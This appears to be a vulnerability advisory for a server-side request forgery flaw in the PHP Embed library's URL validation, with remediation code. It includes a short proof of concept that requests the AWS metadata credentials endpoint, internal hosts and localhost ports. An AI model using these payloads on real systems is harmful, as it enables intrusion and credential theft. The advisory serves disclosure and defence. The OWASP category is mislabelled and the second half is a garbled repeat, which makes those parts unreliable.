Vulnerability Name: Server-Side Request Forgery (SSRF) via Unvalidated URL Schemes
Severity: Critical
CWE: CWE-918 (Server-Side Request Forgery (SSRF))
OWASP Category: OWASP Top 10 - A04:2021 Insecure Deserialization
Description:
The isHttp() function returns true when a URI does not contain an explicit scheme, allowing scheme-less or protocol-relative URLs to bypass validation. When combined with the URI resolution logic in resolveUri(), this may enable requests to internal resources, private IP addresses, or cloud metadata endpoints, potentially leading to Server-Side Request Forgery (SSRF) if applications process untrusted user-supplied URLs.
Affected Files:
Vulnerable Code:
function isHttp(string $uri): bool
{
$result = preg_match('/^(\w+):/', $uri, $matches);
if ($result !== false && $result > 0) {
return in_array(strtolower($matches[1]), ['http', 'https'], true);
}
return true; // VULNERABLE: Returns true for empty/invalid schemes
}
// In Extractor.php:
public function resolveUri($uri): UriInterface
{
if (is_string($uri)) {
if (!isHttp($uri)) { // This check can be bypassed
throw new InvalidArgumentException(sprintf('Uri string must use http or https scheme (%s)', $uri));
}
$uri = $this->crawler->createUri($uri);
}
return resolveUri($this->uri, $uri);
}
Root Cause:
The isHttp() function has a logic flaw: it returns true by default for URIs without a scheme. This combined with URI resolution logic allows bypass of scheme validation:
- URL without scheme (e.g.,
//internal.local/admin) passes validation
- Protocol-relative URLs are resolved against the base URL scheme
- File:// URLs can be accessed if the base URL is file://
- Attacker can craft URLs targeting:
- Private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
- Localhost (127.0.0.1, localhost)
- Cloud metadata endpoints (169.254.169.254)
- Private DNS records
Impact:
- Access Internal Services: Attackers can scan/access internal APIs, databases, admin panels
- Cloud Metadata Access: On AWS/GCP/Azure, can steal temporary credentials from metadata endpoints
- Credential Theft: Access to internal service authentication tokens
- Information Disclosure: Enumeration of internal network topology
- Denial of Service: Attacks on internal services through the library
Exploitation Steps:
- Attacker identifies application uses Embed library
- Attacker submits URLs targeting:
- Private metadata:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
- Internal services:
http://internal-api.local/admin
- Localhost:
http://localhost:8080/admin
- Library validates URI (passes due to default true return)
- Curl makes request to internal resource
- Response data is parsed and may be disclosed to attacker
- Posible to perfome XSPA (Cross Site Port Attack)
POC Video : https://youtu.be/S8IoZHeaGa0
Proof of Concept:
$embed = new Embed\Embed();
// Attack 1: Access AWS metadata
$info = $embed->get('http://169.254.169.254/latest/meta-data/iam/security-credentials/');
// Attack 2: Protocol-relative URL to internal service
$info = $embed->get('//internal-database.local:5432/');
// Attack 3: Private IP access
$info = $embed->get('http://10.0.0.1/admin');
// Attack 4: XSPA
$info = $embed->get('http://127.0.0.1:8080');//posible to scan internal or lan port with local IP
<!-- Failed to upload "Embed-ssrf-poc.mp4" -->
<!-- Failed to upload "Embed-ssrf-poc.mp4" -->
Remediation:
Implement strict URL validation with whitelist approach:
- Validate URL scheme is http/https
- Reject private/internal IP ranges
- Reject cloud metadata endpoints
- Implement request filtering
function isHttp(string $uri): bool
{
$result = preg_match('/^(\w+):/', $uri, $matches);
if ($result === 1) {
$scheme = strtolower($matches[1]);
return in_array($scheme, ['http', 'https'], true);
}
// SECURE: Reject URIs without explicit http/https scheme
return false;
}
function isBlockedUrl(UriInterface $uri): bool
{
$host = $uri->getHost();
// Reject localhost variants
if (in_array($host, ['localhost', '127.0.0.1', '::1', '0.0.0.0'], true)) {
return true;
}
// Reject private IP ranges
$ip = @ip2long($host);
if ($ip !== false) {
// 10.0.0.0/8
if (($ip >= 167772160 && $ip <= 184549375)) return true;
// 172.16.0.0/12
if (($ip >= 2886729728 && $ip <= 2887778303)) return true;
// 192.168.0.0/16
if (($ip >= 3232235520 && $ip <= 3232301055)) return true;
// 127.0.0.0/8
if (($ip >= 2130706432 && $ip <= 2147483647)) return true;
}
// Reject cloud metadata endpoints
if (in_array($host, ['169.254.169.254', 'metadata.google.internal'], true)) {
return true;
}
return false;
}
Fixed Code Example:
// src/functions.php
function isHttp(string $uri): bool
{
$result = preg_match('/^(\w+):/', $uri, $matches);
if ($result === 1) {
return in_array(strtolower($matches[1]), ['http', 'https'], true);
}
return false; // SECURE: Default to false for schemeless URIs
}
// src/Extractor.php
public function resolveUri($uri): UriInterface
{
if (is_string($uri)) {
if (!isHttp($uri)) {
throw new InvalidArgumentException(sprintf('Uri string must use http or https scheme (%s)', $uri));
}
$uri = $this->crawler->createUri($uri);
}
$resolved = resolveUri($this->uri, $uri);
// SECURE: Validate resolved URI is safe
if (isBlockedUrl($resolved)) {
throw new InvalidArgumentException(sprintf('Access to this URL is blocked for security reasons (%s)', $resolved));
}
return $resolved;
}
function isBlockedUrl(\Psr\Http\Message\UriInterface $uri): bool
{
$host = $uri->getHost();
if ($host === null || $host === '') {
return true;
}
// Reject localhost variants
if (in_array($host, ['localhost', '127.0.0.1', '::1', '0.0.0.0'], true)) {
return true;
}
// Reject private IP ranges
$ip = @ip2long($host);
if ($ip !== false) {
// 10.0.0.0/8
if (($ip >= 167772160 && $ip <= 184549375)) return true;
// 172.16.0.0/12
if (($ip >= 2886729728 && $ip <= 2887778303)) return true;
// 192.168.0.0/16
if (($ip >= 3232235520 && $ip <= 3232301055)) return true;
// 127.0.0.0/8
if (($ip >= 2130706432 && $ip <= 2147483647)) return true;
}
// Reject cloud metadata endpoints
if (in_array($host, ['169.254.169.254', 'metadata.google.internal'], true)) {
return true;
}
return false;
}
References:
Vulnerability Name: Server-Side Request Forgery (SSRF) via Unvalidated URL Schemes
Severity: Critical
CWE: CWE-918 (Server-Side Request Forgery (SSRF))
OWASP Category: OWASP Top 10 - A04:2021 Insecure Deserialization
Description:
The isHttp() function returns true when a URI does not contain an explicit scheme, allowing scheme-less or protocol-relative URLs to bypass validation. When combined with the URI resolution logic in resolveUri(), this may enable requests to internal resources, private IP addresses, or cloud metadata endpoints, potentially leading to Server-Side Request Forgery (SSRF) if applications process untrusted user-supplied URLs.
Affected Files:
Vulnerable Code:
Root Cause:
The
isHttp()function has a logic flaw: it returnstrueby default for URIs without a scheme. This combined with URI resolution logic allows bypass of scheme validation://internal.local/admin) passes validationImpact:
Exploitation Steps:
http://169.254.169.254/latest/meta-data/iam/security-credentials/http://internal-api.local/adminhttp://localhost:8080/adminPOC Video : https://youtu.be/S8IoZHeaGa0
Proof of Concept:
Remediation:
Implement strict URL validation with whitelist approach:
Fixed Code Example:
References: